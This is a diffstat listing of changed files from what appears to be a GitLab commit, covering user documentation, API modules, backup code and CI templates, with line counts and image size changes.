-rw-r--r--doc/user/admin_area/settings/sign_up_restrictions.md18
-rw-r--r--doc/user/admin_area/settings/terms.md5
-rw-r--r--doc/user/admin_area/settings/third_party_offers.md6
-rw-r--r--doc/user/admin_area/settings/usage_statistics.md16
-rw-r--r--doc/user/admin_area/settings/user_and_ip_rate_limits.md15
-rw-r--r--doc/user/admin_area/settings/visibility_and_access_controls.md12
-rw-r--r--doc/user/admin_area/user_cohorts.md6
-rw-r--r--doc/user/analytics/ci_cd_analytics.md25
-rw-r--r--doc/user/analytics/index.md2
-rw-r--r--doc/user/analytics/value_stream_analytics.md132
-rw-r--r--doc/user/application_security/api_fuzzing/create_har_files.md8
-rw-r--r--doc/user/application_security/api_fuzzing/index.md69
-rw-r--r--doc/user/application_security/container_scanning/index.md330
-rw-r--r--doc/user/application_security/coverage_fuzzing/index.md4
-rw-r--r--doc/user/application_security/cve_id_request.md2
-rw-r--r--doc/user/application_security/dast/browser_based.md75
-rw-r--r--doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.pngbin0 -> 203980 bytes
-rw-r--r--doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.pngbin0 -> 155046 bytes
-rw-r--r--doc/user/application_security/dast/img/dast_auth_report.jpgbin0 -> 121121 bytes
-rw-r--r--doc/user/application_security/dast/index.md785
-rw-r--r--doc/user/application_security/dast_api/index.md67
-rw-r--r--doc/user/application_security/dependency_scanning/analyzers.md2
-rw-r--r--doc/user/application_security/dependency_scanning/index.md12
-rw-r--r--doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.pngbin35553 -> 0 bytes
-rw-r--r--doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.pngbin29773 -> 0 bytes
-rw-r--r--doc/user/application_security/index.md165
-rw-r--r--doc/user/application_security/offline_deployments/index.md19
-rw-r--r--doc/user/application_security/sast/analyzers.md23
-rw-r--r--doc/user/application_security/sast/index.md36
-rw-r--r--doc/user/application_security/secret_detection/index.md16
-rw-r--r--doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.pngbin69604 -> 23188 bytes
-rw-r--r--doc/user/application_security/security_dashboard/index.md3
-rw-r--r--doc/user/application_security/terminology/index.md6
-rw-r--r--doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.pngbin59862 -> 22929 bytes
-rw-r--r--doc/user/application_security/threat_monitoring/index.md58
-rw-r--r--doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_dropdown_v13_1.pngbin53561 -> 0 bytes
-rw-r--r--doc/user/application_security/vulnerabilities/index.md146
-rw-r--r--doc/user/application_security/vulnerabilities/severities.md7
-rw-r--r--doc/user/application_security/vulnerability_report/index.md4
-rw-r--r--doc/user/clusters/agent/index.md4
-rw-r--r--doc/user/clusters/agent/repository.md115
-rw-r--r--doc/user/clusters/agent/runner.md1
-rw-r--r--doc/user/clusters/applications.md735
-rw-r--r--doc/user/clusters/cost_management.md8
-rw-r--r--doc/user/clusters/crossplane.md2
-rw-r--r--doc/user/clusters/img/fluentd_v13_0.pngbin32445 -> 0 bytes
-rw-r--r--doc/user/clusters/integrations.md27
-rw-r--r--doc/user/clusters/management_project.md8
-rw-r--r--doc/user/clusters/management_project_template.md86
-rw-r--r--doc/user/clusters/migrating_from_gma_to_project_template.md95
-rw-r--r--doc/user/compliance/license_compliance/index.md42
-rw-r--r--doc/user/discussions/index.md9
-rw-r--r--doc/user/gitlab_com/index.md302
-rw-r--r--doc/user/group/bulk_editing/index.md1
-rw-r--r--doc/user/group/clusters/index.md14
-rw-r--r--doc/user/group/custom_project_templates.md57
-rw-r--r--doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.pngbin58389 -> 0 bytes
-rw-r--r--doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.pngbin0 -> 52890 bytes
-rw-r--r--doc/user/group/devops_adoption/index.md26
-rw-r--r--doc/user/group/epics/epic_boards.md170
-rw-r--r--doc/user/group/epics/img/epic_board_v13_10.pngbin42037 -> 0 bytes
-rw-r--r--doc/user/group/epics/img/epic_board_v14_0.pngbin0 -> 16512 bytes
-rw-r--r--doc/user/group/epics/manage_epics.md27
-rw-r--r--doc/user/group/import/index.md7
-rw-r--r--doc/user/group/index.md68
-rw-r--r--doc/user/group/insights/index.md2
-rw-r--r--doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.pngbin54332 -> 16244 bytes
-rw-r--r--doc/user/group/repositories_analytics/index.md4
-rw-r--r--doc/user/group/saml_sso/img/member_enterprise_badge_v14_0.pngbin0 -> 31502 bytes
-rw-r--r--doc/user/group/saml_sso/img/saml_group_links_v13_9.pngbin0 -> 162931 bytes
-rw-r--r--doc/user/group/saml_sso/index.md21
-rw-r--r--doc/user/group/saml_sso/scim_setup.md4
-rw-r--r--doc/user/group/settings/import_export.md10
-rw-r--r--doc/user/group/subgroups/index.md23
-rw-r--r--doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.pngbin57007 -> 20164 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.pngbin55481 -> 19993 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.pngbin125695 -> 36706 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.pngbin65149 -> 19873 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.pngbin60960 -> 21148 bytes
-rw-r--r--doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.pngbin51065 -> 18354 bytes
-rw-r--r--doc/user/group/value_stream_analytics/index.md4
-rw-r--r--doc/user/img/completed_tasks_v13_3.pngbin10844 -> 14835 bytes
-rw-r--r--doc/user/infrastructure/index.md15
-rw-r--r--doc/user/infrastructure/terraform_state.md17
-rw-r--r--doc/user/instance/clusters/index.md5
-rw-r--r--doc/user/markdown.md454
-rw-r--r--doc/user/operations_dashboard/index.md2
-rw-r--r--doc/user/packages/composer_repository/index.md4
-rw-r--r--doc/user/packages/conan_repository/index.md2
-rw-r--r--doc/user/packages/container_registry/index.md15
-rw-r--r--doc/user/packages/index.md11
-rw-r--r--doc/user/packages/infrastructure_registry/index.md93
-rw-r--r--doc/user/packages/maven_repository/index.md15
-rw-r--r--doc/user/packages/npm_registry/index.md9
-rw-r--r--doc/user/packages/nuget_repository/index.md2
-rw-r--r--doc/user/packages/package_registry/index.md39
-rw-r--r--doc/user/packages/pypi_repository/index.md39
-rw-r--r--doc/user/packages/rubygems_registry/index.md4
-rw-r--r--doc/user/packages/terraform_module_registry/index.md124
-rw-r--r--doc/user/packages/workflows/project_registry.md4
-rw-r--r--doc/user/packages/workflows/working_with_monorepos.md64
-rw-r--r--doc/user/permissions.md104
-rw-r--r--doc/user/profile/account/create_accounts.md23
-rw-r--r--doc/user/profile/account/delete_account.md5
-rw-r--r--doc/user/profile/account/two_factor_authentication.md13
-rw-r--r--doc/user/profile/img/notification_global_settings_v13_12.pngbin20731 -> 9268 bytes
-rw-r--r--doc/user/profile/img/unknown_sign_in_email_v13_1.pngbin20230 -> 0 bytes
-rw-r--r--doc/user/profile/img/unknown_sign_in_email_v14_0.pngbin0 -> 68946 bytes
-rw-r--r--doc/user/profile/index.md16
-rw-r--r--doc/user/profile/notifications.md1
-rw-r--r--doc/user/profile/unknown_sign_in_notification.md2
-rw-r--r--doc/user/project/badges.md31
-rw-r--r--doc/user/project/bulk_editing.md1
-rw-r--r--doc/user/project/canary_deployments.md4
-rw-r--r--doc/user/project/clusters/add_eks_clusters.md13
-rw-r--r--doc/user/project/clusters/add_gke_clusters.md12
-rw-r--r--doc/user/project/clusters/add_remove_clusters.md62
-rw-r--r--doc/user/project/clusters/index.md47
-rw-r--r--doc/user/project/clusters/kubernetes_pod_logs.md24
-rw-r--r--doc/user/project/clusters/protect/container_host_security/index.md6
-rw-r--r--doc/user/project/clusters/protect/container_host_security/quick_start_guide.md24
-rw-r--r--doc/user/project/clusters/protect/container_network_security/index.md6
-rw-r--r--doc/user/project/clusters/protect/container_network_security/quick_start_guide.md34
-rw-r--r--doc/user/project/clusters/protect/index.md5
-rw-r--r--doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.pngbin51416 -> 0 bytes
-rw-r--r--doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_installation_v12_10.pngbin44243 -> 0 bytes
-rw-r--r--doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.pngbin54688 -> 0 bytes
-rw-r--r--doc/user/project/clusters/protect/web_application_firewall/index.md103
-rw-r--r--doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md265
-rw-r--r--doc/user/project/clusters/runbooks/index.md99
-rw-r--r--doc/user/project/clusters/serverless/index.md74
-rw-r--r--doc/user/project/deploy_boards.md2
-rw-r--r--doc/user/project/deploy_keys/index.md2
-rw-r--r--doc/user/project/deploy_tokens/index.md2
-rw-r--r--doc/user/project/description_templates.md39
-rw-r--r--doc/user/project/file_lock.md8
-rw-r--r--doc/user/project/highlighting.md2
-rw-r--r--doc/user/project/img/code_owners_approval_new_protected_branch_v13_10.pngbin30238 -> 0 bytes
-rw-r--r--doc/user/project/img/code_owners_approval_protected_branch_v13_10.pngbin17263 -> 0 bytes
-rw-r--r--doc/user/project/import/bitbucket.md2
-rw-r--r--doc/user/project/import/bitbucket_server.md2
-rw-r--r--doc/user/project/import/clearcase.md2
-rw-r--r--doc/user/project/import/cvs.md2
-rw-r--r--doc/user/project/import/fogbugz.md2
-rw-r--r--doc/user/project/import/gemnasium.md1
-rw-r--r--doc/user/project/import/gitea.md2
-rw-r--r--doc/user/project/import/github.md2
-rw-r--r--doc/user/project/import/gitlab_com.md2
-rw-r--r--doc/user/project/import/index.md2
-rw-r--r--doc/user/project/import/manifest.md2
-rw-r--r--doc/user/project/import/perforce.md2
-rw-r--r--doc/user/project/import/phabricator.md2
-rw-r--r--doc/user/project/import/repo_by_url.md2
-rw-r--r--doc/user/project/import/svn.md6
-rw-r--r--doc/user/project/import/tfvc.md6
-rw-r--r--doc/user/project/index.md4
-rw-r--r--doc/user/project/integrations/gitlab_slack_application.md2
-rw-r--r--doc/user/project/integrations/hipchat.md7
-rw-r--r--doc/user/project/integrations/index.md2
-rw-r--r--doc/user/project/integrations/jira.md1
-rw-r--r--doc/user/project/integrations/jira_cloud_configuration.md1
-rw-r--r--doc/user/project/integrations/jira_integrations.md1
-rw-r--r--doc/user/project/integrations/jira_server_configuration.md1
-rw-r--r--doc/user/project/integrations/mattermost_slash_commands.md6
-rw-r--r--doc/user/project/integrations/overview.md15
-rw-r--r--doc/user/project/integrations/prometheus.md144
-rw-r--r--doc/user/project/integrations/prometheus_library/kubernetes.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx_ingress.md22
-rw-r--r--doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md22
-rw-r--r--doc/user/project/integrations/services_templates.md68
-rw-r--r--doc/user/project/integrations/webex_teams.md3
-rw-r--r--doc/user/project/integrations/webhooks.md14
-rw-r--r--doc/user/project/issue_board.md199
-rw-r--r--doc/user/project/issues/confidential_issues.md8
-rw-r--r--doc/user/project/issues/csv_export.md105
-rw-r--r--doc/user/project/issues/csv_import.md2
-rw-r--r--doc/user/project/issues/design_management.md7
-rw-r--r--doc/user/project/issues/due_dates.md24
-rw-r--r--doc/user/project/issues/img/issue_type_change_v13_12.pngbin0 -> 52414 bytes
-rw-r--r--doc/user/project/issues/issue_data_and_actions.md2
-rw-r--r--doc/user/project/issues/managing_issues.md24
-rw-r--r--doc/user/project/labels.md2
-rw-r--r--doc/user/project/members/img/access_requests_management_v13_9.pngbin24246 -> 0 bytes
-rw-r--r--doc/user/project/members/img/add_user_email_accept_v13_9.pngbin21877 -> 0 bytes
-rw-r--r--doc/user/project/members/img/add_user_email_ready_v13_8.pngbin28850 -> 0 bytes
-rw-r--r--doc/user/project/members/img/add_user_email_search_v13_8.pngbin29293 -> 0 bytes
-rw-r--r--doc/user/project/members/img/withdraw_access_request_button.pngbin28154 -> 0 bytes
-rw-r--r--doc/user/project/members/index.md203
-rw-r--r--doc/user/project/members/share_project_with_groups.md2
-rw-r--r--doc/user/project/merge_requests/accessibility_testing.md12
-rw-r--r--doc/user/project/merge_requests/allow_collaboration.md50
-rw-r--r--doc/user/project/merge_requests/approvals/index.md32
-rw-r--r--doc/user/project/merge_requests/approvals/rules.md6
-rw-r--r--doc/user/project/merge_requests/approvals/settings.md2
-rw-r--r--doc/user/project/merge_requests/authorization_for_merge_requests.md16
-rw-r--r--doc/user/project/merge_requests/browser_performance_testing.md31
-rw-r--r--doc/user/project/merge_requests/changes.md60
-rw-r--r--doc/user/project/merge_requests/cherry_pick_changes.md25
-rw-r--r--doc/user/project/merge_requests/code_quality.md19
-rw-r--r--doc/user/project/merge_requests/commits.md28
-rw-r--r--doc/user/project/merge_requests/creating_merge_requests.md3
-rw-r--r--doc/user/project/merge_requests/getting_started.md58
-rw-r--r--doc/user/project/merge_requests/img/allow_collaboration.pngbin10806 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/allow_collaboration_after_save.pngbin5410 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.pngbin0 -> 54803 bytes
-rw-r--r--doc/user/project/merge_requests/img/commit-button_v13_12.pngbin0 -> 8834 bytes
-rw-r--r--doc/user/project/merge_requests/img/conflict_ui_v14_0.pngbin0 -> 8371 bytes
-rw-r--r--doc/user/project/merge_requests/img/merge_request_pipeline.png (renamed from doc/user/project/merge_requests/reviews/img/merge_request_pipeline.png)bin31026 -> 31026 bytes
-rw-r--r--doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png (renamed from doc/user/project/merge_requests/reviews/img/project_merge_requests_list_view_v13_5.png)bin87738 -> 87738 bytes
-rw-r--r--doc/user/project/merge_requests/img/status_checks_branches_selector_v14_0.pngbin0 -> 5460 bytes
-rw-r--r--doc/user/project/merge_requests/img/status_checks_create_form_v14_0.pngbin0 -> 11913 bytes
-rw-r--r--doc/user/project/merge_requests/img/status_checks_delete_modal_v14_0.pngbin0 -> 5662 bytes
-rw-r--r--doc/user/project/merge_requests/img/status_checks_list_view_v14_0.pngbin0 -> 15958 bytes
-rw-r--r--doc/user/project/merge_requests/img/status_checks_update_form_v14_0.pngbin0 -> 13348 bytes
-rw-r--r--doc/user/project/merge_requests/index.md85
-rw-r--r--doc/user/project/merge_requests/load_performance_testing.md10
-rw-r--r--doc/user/project/merge_requests/merge_request_approvals.md1
-rw-r--r--doc/user/project/merge_requests/merge_request_dependencies.md2
-rw-r--r--doc/user/project/merge_requests/merge_when_pipeline_succeeds.md2
-rw-r--r--doc/user/project/merge_requests/resolve_conflicts.md4
-rw-r--r--doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md1
-rw-r--r--doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v13_8.png (renamed from doc/user/project/merge_requests/img/reviewer_approval_rules_form_v13_8.png)bin42245 -> 42245 bytes
-rw-r--r--doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v13_8.png (renamed from doc/user/project/merge_requests/img/reviewer_approval_rules_sidebar_v13_8.png)bin38840 -> 38840 bytes
-rw-r--r--doc/user/project/merge_requests/reviews/index.md143
-rw-r--r--doc/user/project/merge_requests/reviews/suggestions.md4
-rw-r--r--doc/user/project/merge_requests/squash_and_merge.md2
-rw-r--r--doc/user/project/merge_requests/status_checks.md179
-rw-r--r--doc/user/project/merge_requests/test_coverage_visualization.md84
-rw-r--r--doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md2
-rw-r--r--doc/user/project/merge_requests/versions.md2
-rw-r--r--doc/user/project/merge_requests/widgets.md64
-rw-r--r--doc/user/project/merge_requests/work_in_progress_merge_requests.md1
-rw-r--r--doc/user/project/milestones/index.md4
-rw-r--r--doc/user/project/new_ci_build_permissions_model.md1
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md2
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/index.md4
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md4
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md2
-rw-r--r--doc/user/project/pages/getting_started/pages_ci_cd_template.md4
-rw-r--r--doc/user/project/pages/getting_started/pages_forked_sample_project.md2
-rw-r--r--doc/user/project/pages/getting_started/pages_from_scratch.md2
-rw-r--r--doc/user/project/pages/getting_started/pages_new_project_template.md3
-rw-r--r--doc/user/project/pages/getting_started_part_one.md2
-rw-r--r--doc/user/project/pages/index.md2
-rw-r--r--doc/user/project/pages/introduction.md4
-rw-r--r--doc/user/project/pages/lets_encrypt_for_gitlab_pages.md2
-rw-r--r--doc/user/project/pages/pages_access_control.md2
-rw-r--r--doc/user/project/pages/redirects.md2
-rw-r--r--doc/user/project/protected_branches.md40
-rw-r--r--doc/user/project/protected_tags.md2
-rw-r--r--doc/user/project/quick_actions.md1
-rw-r--r--doc/user/project/releases/index.md17
-rw-r--r--doc/user/project/repository/branches/default.md3
-rw-r--r--doc/user/project/repository/img/download_source_code.pngbin19681 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/file_ext_icons_repo_v12_10.pngbin73624 -> 0 bytes
-rw-r--r--doc/user/project/repository/index.md418
-rw-r--r--doc/user/project/repository/jupyter_notebooks/index.md9
-rw-r--r--doc/user/project/repository/repository_mirroring.md46
-rw-r--r--doc/user/project/repository/web_editor.md8
-rw-r--r--doc/user/project/settings/import_export.md12
-rw-r--r--doc/user/project/settings/index.md94
-rw-r--r--doc/user/project/settings/project_access_tokens.md2
-rw-r--r--doc/user/project/time_tracking.md6
-rw-r--r--doc/user/project/web_ide/index.md26
-rw-r--r--doc/user/project/wiki/img/content_editor_v14.0.pngbin0 -> 13771 bytes
-rw-r--r--doc/user/project/wiki/img/use_new_editor_button_v14.0.pngbin0 -> 16719 bytes
-rw-r--r--doc/user/project/wiki/index.md82
-rw-r--r--doc/user/project/working_with_projects.md25
-rw-r--r--doc/user/reserved_names.md6
-rw-r--r--doc/user/search/advanced_search.md42
-rw-r--r--doc/user/search/index.md4
-rw-r--r--doc/user/shortcuts.md8
-rw-r--r--doc/user/snippets.md8
-rw-r--r--doc/user/todos.md1
-rwxr-xr-xfile_hooks/examples/save_to_file.rb2
-rw-r--r--generator_templates/usage_metric_definition/metric_definition.yml1
-rw-r--r--lib/api/api.rb6
-rw-r--r--lib/api/branches.rb4
-rw-r--r--lib/api/ci/runner.rb4
-rw-r--r--lib/api/commit_statuses.rb6
-rw-r--r--lib/api/commits.rb9
-rw-r--r--lib/api/composer_packages.rb4
-rw-r--r--lib/api/concerns/packages/conan_endpoints.rb2
-rw-r--r--lib/api/concerns/packages/debian_distribution_endpoints.rb152
-rw-r--r--lib/api/concerns/packages/debian_endpoints.rb133
-rw-r--r--lib/api/concerns/packages/debian_package_endpoints.rb127
-rw-r--r--lib/api/concerns/packages/nuget_endpoints.rb5
-rw-r--r--lib/api/debian_group_packages.rb10
-rw-r--r--lib/api/debian_project_packages.rb35
-rw-r--r--lib/api/entities/basic_project_details.rb31
-rw-r--r--lib/api/entities/commit.rb1
-rw-r--r--lib/api/entities/group_detail.rb6
-rw-r--r--lib/api/entities/issue_basic.rb2
-rw-r--r--lib/api/entities/label_basic.rb2
-rw-r--r--lib/api/entities/merge_request_basic.rb6
-rw-r--r--lib/api/entities/package.rb8
-rw-r--r--lib/api/entities/packages/debian/distribution.rb23
-rw-r--r--lib/api/entities/project.rb19
-rw-r--r--lib/api/entities/project_repository_storage.rb16
-rw-r--r--lib/api/entities/runner.rb1
-rw-r--r--lib/api/entities/snippet.rb10
-rw-r--r--lib/api/entities/user_preferences.rb2
-rw-r--r--lib/api/feature_flag_scopes.rb160
-rw-r--r--lib/api/feature_flags.rb58
-rw-r--r--lib/api/generic_packages.rb4
-rw-r--r--lib/api/group_avatar.rb21
-rw-r--r--lib/api/group_container_repositories.rb2
-rw-r--r--lib/api/group_export.rb6
-rw-r--r--lib/api/group_packages.rb2
-rw-r--r--lib/api/groups.rb2
-rw-r--r--lib/api/helm_packages.rb56
-rw-r--r--lib/api/helpers.rb12
-rw-r--r--lib/api/helpers/label_helpers.rb15
-rw-r--r--lib/api/helpers/packages/basic_auth_helpers.rb8
-rw-r--r--lib/api/helpers/packages/conan/api_helpers.rb4
-rw-r--r--lib/api/helpers/projects_helpers.rb6
-rw-r--r--lib/api/helpers/runner.rb25
-rw-r--r--lib/api/helpers/services_helpers.rb52
-rw-r--r--lib/api/internal/base.rb13
-rw-r--r--lib/api/invitations.rb1
-rw-r--r--lib/api/jobs.rb1
-rw-r--r--lib/api/lint.rb6
-rw-r--r--lib/api/maven_packages.rb10
-rw-r--r--lib/api/members.rb2
-rw-r--r--lib/api/merge_requests.rb11
-rw-r--r--lib/api/npm_project_packages.rb4
-rw-r--r--lib/api/nuget_group_packages.rb4
-rw-r--r--lib/api/nuget_project_packages.rb8
-rw-r--r--lib/api/project_container_repositories.rb10
-rw-r--r--lib/api/project_debian_distributions.rb37
-rw-r--r--lib/api/project_export.rb6
-rw-r--r--lib/api/project_packages.rb4
-rw-r--r--lib/api/project_snippets.rb4
-rw-r--r--lib/api/project_templates.rb2
-rw-r--r--lib/api/projects.rb15
-rw-r--r--lib/api/pypi_packages.rb78
-rw-r--r--lib/api/rubygem_packages.rb4
-rw-r--r--lib/api/settings.rb2
-rw-r--r--lib/api/snippets.rb4
-rw-r--r--lib/api/tags.rb85
-rw-r--r--lib/api/terraform/modules/v1/packages.rb4
-rw-r--r--lib/api/unleash.rb5
-rw-r--r--lib/api/users.rb14
-rw-r--r--lib/backup/gitaly_backup.rb67
-rw-r--r--lib/backup/gitaly_rpc_backup.rb128
-rw-r--r--lib/backup/repositories.rb194
-rw-r--r--lib/banzai/filter/base_relative_link_filter.rb18
-rw-r--r--lib/banzai/filter/markdown_pre_escape_filter.rb2
-rw-r--r--lib/banzai/filter/references/label_reference_filter.rb93
-rw-r--r--lib/banzai/filter/references/reference_cache.rb48
-rw-r--r--lib/banzai/filter/references/reference_filter.rb4
-rw-r--r--lib/banzai/filter/upload_link_filter.rb14
-rw-r--r--lib/banzai/pipeline/markup_pipeline.rb3
-rw-r--r--lib/banzai/reference_parser/issue_parser.rb9
-rw-r--r--lib/banzai/reference_parser/merge_request_parser.rb33
-rw-r--r--lib/bulk_imports/clients/graphql.rb2
-rw-r--r--lib/bulk_imports/clients/http.rb60
-rw-r--r--lib/bulk_imports/common/extractors/ndjson_extractor.rb68
-rw-r--r--lib/bulk_imports/common/extractors/rest_extractor.rb2
-rw-r--r--lib/bulk_imports/groups/extractors/subgroups_extractor.rb2
-rw-r--r--lib/bulk_imports/groups/graphql/get_labels_query.rb53
-rw-r--r--lib/bulk_imports/groups/pipelines/boards_pipeline.rb15
-rw-r--r--lib/bulk_imports/groups/pipelines/entity_finisher.rb22
-rw-r--r--lib/bulk_imports/groups/pipelines/labels_pipeline.rb11
-rw-r--r--lib/bulk_imports/groups/pipelines/milestones_pipeline.rb21
-rw-r--r--lib/bulk_imports/ndjson_pipeline.rb99
-rw-r--r--lib/bulk_imports/pipeline.rb33
-rw-r--r--lib/bulk_imports/pipeline/context.rb8
-rw-r--r--lib/bulk_imports/pipeline/extracted_data.rb2
-rw-r--r--lib/bulk_imports/stage.rb6
-rw-r--r--lib/csv_builder.rb2
-rw-r--r--lib/feature.rb7
-rw-r--r--lib/feature/active_support_cache_store_adapter.rb36
-rw-r--r--lib/flowdock/git.rb2
-rw-r--r--lib/generators/gitlab/usage_metric/USAGE9
-rw-r--r--lib/generators/gitlab/usage_metric/templates/instrumentation_class.rb.template14
-rw-r--r--lib/generators/gitlab/usage_metric/templates/instrumentation_class_spec.rb.template7
-rw-r--r--lib/generators/gitlab/usage_metric/usage_metric_generator.rb71
-rw-r--r--lib/gitlab.rb11
-rw-r--r--lib/gitlab/application_context.rb4
-rw-r--r--lib/gitlab/auth.rb21
-rw-r--r--lib/gitlab/auth/o_auth/user.rb2
-rw-r--r--lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects.rb78
-rw-r--r--lib/gitlab/background_migration/disable_expiration_policies_linked_to_no_container_images.rb41
-rw-r--r--lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb18
-rw-r--r--lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb42
-rw-r--r--lib/gitlab/cache.rb7
-rw-r--r--lib/gitlab/cache/import/caching.rb11
-rw-r--r--lib/gitlab/checks/base_bulk_checker.rb18
-rw-r--r--lib/gitlab/checks/base_checker.rb23
-rw-r--r--lib/gitlab/checks/base_single_checker.rb34
-rw-r--r--lib/gitlab/checks/branch_check.rb2
-rw-r--r--lib/gitlab/checks/change_access.rb57
-rw-r--r--lib/gitlab/checks/changes_access.rb54
-rw-r--r--lib/gitlab/checks/diff_check.rb2
-rw-r--r--lib/gitlab/checks/lfs_check.rb7
-rw-r--r--lib/gitlab/checks/lfs_integrity.rb11
-rw-r--r--lib/gitlab/checks/matching_merge_request.rb60
-rw-r--r--lib/gitlab/checks/push_check.rb2
-rw-r--r--lib/gitlab/checks/push_file_count_check.rb2
-rw-r--r--lib/gitlab/checks/single_change_access.rb55
-rw-r--r--lib/gitlab/checks/snippet_check.rb2
-rw-r--r--lib/gitlab/checks/tag_check.rb2
-rw-r--r--lib/gitlab/ci/ansi2json/line.rb2
-rw-r--r--lib/gitlab/ci/badge/coverage/template.rb16
-rw-r--r--lib/gitlab/ci/badge/pipeline/template.rb16
-rw-r--r--lib/gitlab/ci/badge/template.rb13
-rw-r--r--lib/gitlab/ci/build/auto_retry.rb14
-rw-r--r--lib/gitlab/ci/config/entry/need.rb22
-rw-r--r--lib/gitlab/ci/config/entry/processable.rb1
-rw-r--r--lib/gitlab/ci/config/entry/reports.rb5
-rw-r--r--lib/gitlab/ci/config/external/file/artifact.rb5
-rw-r--r--lib/gitlab/ci/config/external/file/template.rb4
-rw-r--r--lib/gitlab/ci/cron_parser.rb8
-rw-r--r--lib/gitlab/ci/features.rb16
-rw-r--r--lib/gitlab/ci/jwt.rb1
-rw-r--r--lib/gitlab/ci/matching/build_matcher.rb29
-rw-r--r--lib/gitlab/ci/matching/runner_matcher.rb68
-rw-r--r--lib/gitlab/ci/parsers/test/junit.rb1
-rw-r--r--lib/gitlab/ci/pipeline/chain/validate/after_config.rb24
-rw-r--r--lib/gitlab/ci/pipeline/chain/validate/external.rb28
-rw-r--r--lib/gitlab/ci/pipeline/preloader.rb8
-rw-r--r--lib/gitlab/ci/pipeline/seed/build.rb2
-rw-r--r--lib/gitlab/ci/queue/metrics.rb20
-rw-r--r--lib/gitlab/ci/reports/test_suite_comparer.rb3
-rw-r--r--lib/gitlab/ci/status/build/failed.rb3
-rw-r--r--lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml39
-rw-r--r--lib/gitlab/ci/templates/Getting-started.yml39
-rw-r--r--lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml4
-rw-r--r--lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.latest.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml9
-rw-r--r--lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml335
-rw-r--r--lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml36
-rw-r--r--lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml23
-rw-r--r--lib/gitlab/ci/templates/Ruby.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml266
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml70
-rw-r--r--lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml3
-rw-r--r--lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml18
-rw-r--r--lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml13
-rw-r--r--lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml343
-rw-r--r--lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml48
-rw-r--r--lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml25
-rw-r--r--lib/gitlab/ci/templates/Terraform.gitlab-ci.yml63
-rw-r--r--lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/npm.gitlab-ci.yml70
-rw-r--r--lib/gitlab/ci/templates/npm.latest.gitlab-ci.yml41
-rw-r--r--lib/gitlab/ci/trace.rb28
-rw-r--r--lib/gitlab/ci/trace/chunked_io.rb9
